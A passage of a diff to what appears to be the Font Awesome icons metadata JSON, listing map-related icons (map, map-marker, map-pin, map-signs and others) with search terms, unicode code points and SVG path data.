1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z" + } + }, + "free": [ + "brands" + ] + }, + "map": { + "changes": [ + "4.4", + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "address", + "coordinates", + "destination", + "gps", + "localize", + "location", + "map", + "navigation", + "paper", + "pin", + "place", + "point of interest", + "position", + "route", + "travel" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f279", + "label": "Map", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635591, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 117.66v346.32c0 11.32 11.43 19.06 21.94 14.86L160 416V32L20.12 87.95A32.006 32.006 0 0 0 0 117.66zM192 416l192 64V96L192 32v384zM554.06 33.16L416 96v384l139.88-55.95A31.996 31.996 0 0 0 576 394.34V48.02c0-11.32-11.43-19.06-21.94-14.86z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M0 117.66v346.32c0 11.32 11.43 19.06 21.94 14.86L160 416V32L20.12 87.95A32.006 32.006 0 0 0 0 117.66zM192 416l192 64V96L192 32v384zM554.06 33.16L416 96v384l139.88-55.95A31.996 31.996 0 0 0 576 394.34V48.02c0-11.32-11.43-19.06-21.94-14.86z" + }, + "regular": { + "last_modified": 1628088634905, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M560.02 32c-1.96 0-3.98.37-5.96 1.16L384.01 96H384L212 35.28A64.252 64.252 0 0 0 191.76 32c-6.69 0-13.37 1.05-19.81 3.14L20.12 87.95A32.006 32.006 0 0 0 0 117.66v346.32C0 473.17 7.53 480 15.99 480c1.96 0 3.97-.37 5.96-1.16L192 416l172 60.71a63.98 63.98 0 0 0 40.05.15l151.83-52.81A31.996 31.996 0 0 0 576 394.34V48.02c0-9.19-7.53-16.02-15.98-16.02zM224 90.42l128 45.19v285.97l-128-45.19V90.42zM48 418.05V129.07l128-44.53v286.2l-.64.23L48 418.05zm480-35.13l-128 44.53V141.26l.64-.24L528 93.95v288.97z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M560.02 32c-1.96 0-3.98.37-5.96 1.16L384.01 96H384L212 35.28A64.252 64.252 0 0 0 191.76 32c-6.69 0-13.37 1.05-19.81 3.14L20.12 87.95A32.006 32.006 0 0 0 0 117.66v346.32C0 473.17 7.53 480 15.99 480c1.96 0 3.97-.37 5.96-1.16L192 416l172 60.71a63.98 63.98 0 0 0 40.05.15l151.83-52.81A31.996 31.996 0 0 0 576 394.34V48.02c0-9.19-7.53-16.02-15.98-16.02zM224 90.42l128 45.19v285.97l-128-45.19V90.42zM48 418.05V129.07l128-44.53v286.2l-.64.23L48 418.05zm480-35.13l-128 44.53V141.26l.64-.24L528 93.95v288.97z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "map-marked": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "address", + "coordinates", + "destination", + "gps", + "localize", + "location", + "map", + "navigation", + "paper", + "pin", + "place", + "point of interest", + "position", + "route", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f59f", + "label": "Map Marked", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635588, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z" + } + }, + "free": [ + "solid" + ] + }, + "map-marked-alt": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "address", + "coordinates", + "destination", + "gps", + "localize", + "location", + "map", + "navigation", + "paper", + "pin", + "place", + "point of interest", + "position", + "route", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5a0", + "label": "Alternate Map Marked", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635587, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zm0 168c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zm0 168c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z" + } + }, + "free": [ + "solid" + ] + }, + "map-marker": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "address", + "coordinates", + "destination", + "gps", + "localize", + "location", + "map", + "navigation", + "paper", + "pin", + "place", + "point of interest", + "position", + "route", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f041", + "label": "map-marker", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635590, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0z" + } + }, + "free": [ + "solid" + ] + }, + "map-marker-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "address", + "coordinates", + "destination", + "gps", + "localize", + "location", + "map", + "navigation", + "paper", + "pin", + "place", + "point of interest", + "position", + "route", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3c5", + "label": "Alternate Map Marker", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635588, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z" + } + }, + "free": [ + "solid" + ] + }, + "map-pin": { + "changes": [ + "4.4", + "5.0.0", + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "address", + "agree", + "coordinates", + "destination", + "gps", + "localize", + "location", + "map", + "marker", + "navigation", + "pin", + "place", + "position", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f276", + "label": "Map Pin", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635590, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 288 512\"><path d=\"M112 316.94v156.69l22.02 33.02c4.75 7.12 15.22 7.12 19.97 0L176 473.63V316.94c-10.39 1.92-21.06 3.06-32 3.06s-21.61-1.14-32-3.06zM144 0C64.47 0 0 64.47 0 144s64.47 144 144 144 144-64.47 144-144S223.53 0 144 0zm0 76c-37.5 0-68 30.5-68 68 0 6.62-5.38 12-12 12s-12-5.38-12-12c0-50.73 41.28-92 92-92 6.62 0 12 5.38 12 12s-5.38 12-12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "288", + "512" + ], + "width": 288, + "height": 512, + "path": "M112 316.94v156.69l22.02 33.02c4.75 7.12 15.22 7.12 19.97 0L176 473.63V316.94c-10.39 1.92-21.06 3.06-32 3.06s-21.61-1.14-32-3.06zM144 0C64.47 0 0 64.47 0 144s64.47 144 144 144 144-64.47 144-144S223.53 0 144 0zm0 76c-37.5 0-68 30.5-68 68 0 6.62-5.38 12-12 12s-12-5.38-12-12c0-50.73 41.28-92 92-92 6.62 0 12 5.38 12 12s-5.38 12-12 12z" + } + }, + "free": [ + "solid" + ] + }, + "map-signs": { + "changes": [ + "4.4", + "5.0.0", + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "directions", + "directory", + "map", + "signage", + "wayfinding" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f277", + "label": "Map Signs", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635591, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M507.31 84.69L464 41.37c-6-6-14.14-9.37-22.63-9.37H288V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v16H56c-13.25 0-24 10.75-24 24v80c0 13.25 10.75 24 24 24h385.37c8.49 0 16.62-3.37 22.63-9.37l43.31-43.31c6.25-6.26 6.25-16.38 0-22.63zM224 496c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V384h-64v112zm232-272H288v-32h-64v32H70.63c-8.49 0-16.62 3.37-22.63 9.37L4.69 276.69c-6.25 6.25-6.25 16.38 0 22.63L48 342.63c6 6 14.14 9.37 22.63 9.37H456c13.25 0 24-10.75 24-24v-80c0-13.25-10.75-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], 